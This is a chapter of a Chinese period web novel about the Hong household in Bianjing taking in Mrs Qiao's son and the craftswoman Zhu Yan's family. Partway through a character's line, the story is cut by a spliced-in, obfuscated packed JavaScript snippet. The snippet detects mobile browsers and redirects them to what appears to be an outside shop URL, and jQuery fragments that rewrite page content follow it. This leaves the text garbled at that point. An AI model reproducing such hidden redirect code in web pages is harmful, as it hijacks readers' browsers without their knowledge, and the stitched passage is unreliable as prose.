那一日十月初五，坐落在开化坊的洪宅里，开启了一日的晨起。
乔太太的大哥洪运绶此前也读过书，却没能读出个名堂，到了快三十岁，勉强过了乡试后，才花钱买了个闲官，却因此被一位赋闲在家的士族富绅看中，由此娶到了金氏，继而置办了这座小宅子。
而后又走金氏娘家的门路做起了汴京和北九省的船运，夫妻齐心，慢慢攒下这笔家业。
这是座典型的京都小三进院落，除中堂小庭院灶房和下人房，主要分东西两边院子，东院大西院小，乔太太自打到了汴京，就寄住在兄长家的西院，好在姑嫂和睦，并无不妥，也相安无事。
乔太太上了注香，由小丫鬟陪着去东边的上房看望洪老太。
见她虽依旧是病弱，可面色比起半年前自己赶过来时已然养好不少，这才放心，陪着洪老太吃了早饭，说了会话，这才出去。
出门就见嫂子金氏正在与管事说话，见她来就相视一笑：“侄儿启程也有好些日子了，只怕快到了吧？”
乔太太点点头：“我每日都打发王信去三里桥渡口看，按信上所说，不是今日就是明日。”
洪嫂子与她并肩去了正堂偏厅，这里是每日理事回话的地方，因而等了好几个仆妇，见她们进来，就屈膝行礼。
洪嫂子出身汴京富绅之家，虽家业不大，但祖上也是有名有姓的人家，还在前朝出过侍郎，只是后来没落。
家族没落，规矩却依旧。她幼承庭训，六岁就看账本，八岁别说打算盘，就是听音都能晓得几是几，到了十三岁就能帮着母亲理家回事，管束仆妇。即便当年下嫁，也一概保持在娘家时的管家风格，加之她头脑灵活，将本不多的家财各种活络，也算是小有积业，管理洪家这么点家业也是手拿把掐，小意思。
落座后，她吃了口香茶，一面听仆妇回话，一面和小姑子说：“早就听你说这位朱娘子手艺又好，人品也上佳，这下倒是能闻名一见了。”
乔太太笑道：“可不是，见了你就晓得了，不过就是她出身有些低微，你见了可别专往这上头问。”
“我还能不晓得。”洪嫂子嗔她一眼，将对牌拿给仆妇，嘱咐两句打发了人，屋里清净了才又回头与她说话，“出身低微算什么，做丫鬟又算什么，当今贵妃娘娘从前还不是在大长公主行宫里伺候洗脚的丫头？低微到被献给还是皇子的陛下时，连侍妾都封不上！后来生了皇次子才勉强封了个侍妾。也是她运道好！等到陛下荣登大宝，因皇长子夭折，她又才因母凭子贵被提及，破例封为嫔。如今瞧瞧，才不到五年光景，就又诞下一子一女，一跃成了贵妃，宠冠六宫，连皇后娘娘都势弱渐微，避其锋芒——可见人不可以出身论，毕竟英雄不问出处嘛！”
议论皇家本属于大罪，因而她很少谈及，此时话赶话，就降低了声音。
不过也就是在此处说一两嘴，谁也不出去瞎嚷嚷，自然也就无碍了。
乔太太连连点头：“我也如此想，因而特意请她同胥哥一道上京，也是有个照应。”
“接下来有何打算？铺子位置可看好了？”
乔太太说：“已经让王信寻摸了家铺子，就在春明坊，这两日已经将招牌挂上了。我想着还是将老本业开起来，就怕我们初来乍到的，被人打压以至于经营不善。”
洪嫂子大模大样地挥手：“在汴京，只要有钱，这不是什么难事。卖米的有米行，卖面的有面行，就是卖杂货的也有杂货行，等这位朱娘子来了，先去扎灯彩行登记行户，别的不说，只要手艺过硬，又有商行在上头看着，就是谁家势头再大也不能动歪心思。”
“另还得安排他一家的住处，此前不说只怕是她有自己打算，不过人生地不熟地，一事不烦二主，还得劳烦嫂嫂。”
洪嫂子也都应了，却笑：“好铺子不难找，顺心的住处却不容易，我帮了你，你可不得拿什么谢我？”
嫁了人就是外家的人，乔太太在京这样久嫂子也没抱怨过一句，更何况之后还要相处，乔太太就大方道：“眼瞧着要换季做冬裳，家里从上到下的我都包了，不教嫂嫂还为这些小事费心。”
洪家上下虽然人不多，但洪嫂子在对待下人吃穿用度方面并不吝啬，因而每年每人除了月钱，酷暑严寒里有补贴钱，另还有两套夏装、两套冬装，若是天儿格外冻，还会将库房里的一些旧年的棉絮棉布供下人们领回去扯用，或是做棉衣或是翻新被褥，都好。
因而洪嫂子管家虽严，却无一人喊苦抱怨，都心甘情愿着踏实做事。
“得了，”洪嫂子见好就收，“我也不跟你客气，衣裳料子你出了就成，裁缝我让马元家的找。”
裁缝绣娘也是大头，乔太太心知嫂子是不想让她太吃亏，因而留了余地，也领受了她这份情，姑嫂两个和和气气将事情就这么定下。
等到下晌，接人的马车就回来了，门房的小子跑着到二门传话，乔太太心念儿子，赶紧起身迎人。
乔胥书先跳下来，见了她赶紧拱手作揖喊一声母亲。
乔太太真心疼他，当下才几步路，眼泪花都出来了，握着他的手连声道好：“路上怎么样？没晕船吧？”
“还好，邵二叔二婶很照顾我。”
乔胥书让了身，乔太太就看到了他身后的朱颜一家，两边顾不得说话，就有个圆脸带笑的妇人上来说：“我家太太知晓来客，特意备了客房。”
乔太太赶紧说：“我嫂嫂最是亲和的人，你们落脚的房舍她帮着找，这几日就先安顿在这。”
朱颜没跟她客气，兀自抱着灵姐跟着那圆脸妇人去了，邵远则跟着王信，以及洪家的小子几个搬箱笼卸车。
“客房许久无人住，略略清扫，可也不免有些尘味，朱娘子别见怪。”圆脸妇人说。
朱颜就问：“姐姐姓甚？怎么称呼？”
妇人笑呵呵的：“瞧娘子小嘴甜的，我今年三十几快四十，论岁数可以做你娘了！我本姓窦，丈夫叫马元，是太太的陪房，现如今在家里做大管事，我平日在家里帮太
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021525|185013||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
太管事，叫我窦妈妈就成。”
朱颜从前在更富贵的家里都伺候过，该说不说这些数年前的东西捡起来还真是下意识的，当下就笑着说：“窦姐姐，瞧你也不上二十七八岁，哪好意思喊你妈妈，我闺女才该喊你妈妈呢！”
说着让灵姐喊人，灵姐乖乖地喊了声。
却因为有些怕生和吐字不清，窦妈妈喊成了嘟妈妈，惹得马元家的笑得看不见眼，一个劲儿直夸灵姐乖巧可爱。
马元家的陪着朱颜在这儿略坐了坐，见邵远来了才起身，临走又说：“这里属于西内院，姑太太就住在娘子隔壁，穿过夹道就能到，不过咱们家不大，所以一概也是由我管着，有事你就叫角门上的小丫头来找我，不要怕麻烦。”
朱颜应了，起身往马元家的手里塞了一只早就准备好的荷包，马元家的推辞了两下还是收了，朱颜就热情地将人送出外头的夹道才折返回来。
客房不大，统共一排三间，朱颜三人住的是靠里头这间，进门一处小会客室，摆着半新的桌椅和博古架，架子上头搁着一盆不算名贵的兰花，侧边挂着山水画。再往里头就是床铺和用屏风隔开的盥洗小间。
整个屋舍布置简单，可处处透着点雅致，青瓷茶壶里有茶水，空气里还有点熏过香饼的味道，总体下来，不算怠慢，还很周到。
邵远在路上就问王信打听过洪家，听说洪太太出身不俗，又一路进来观看，心里难免有点打鼓：“要不咱们快些找个地方搬出去吧？”
灵姐有点饿了，要吃东西，朱颜将随身带的干粮点心掰了一小块给她当混嘴的，灵姐不高兴，扁着嘴，却还是听话地坐在凳子上捏着点心慢慢吃。
“怕什么，”朱颜拿帕子给她擦嘴上的点心屑，“洪家细致周到，我们再多安顿两日，住处好好找才是。”
邵远有点不乐意：“住在旁人家里总是不舒服。”又补一句，“也不方便。”
朱颜噗嗤一笑，“既来之则安之，你着急也是没用的。更何况咱们手上满打满算也就这点家底，京都大居不易，随便一间房院掠钱都要一二两一个月，能省一点是一点。”
邵远点点头，当然以她为主，自去收拾常用的几样东西。
其余的三口箱子都安置在门房一处带锁的屋里，后头走的时候就不用再搬来搬去。
他并不担心会被人偷，这几年攒下的钱，都在走之前被朱颜换成银票安置好了，留下小部分碎银压箱底。
当天晚间，有婆子提着食盒送来饭食，一家三口这些天坐船累极，谁也没有心思再多说什么，默契地吃过饭后草草盥洗，外头天还没完全黑透，就吹了灯倒头就睡。
另一头的东院上房，乔太太正带了养子在外间坐下说话。
洪嫂子看了端正清秀的乔胥书，笑了笑：“果然是不错。”招手让丫鬟送了一套上等的笔墨纸砚做见面礼。
“来了就安心读书，当这儿是自己家，我和你大舅都盼着你来了能给和哥做个榜样，你可要好好做兄长。”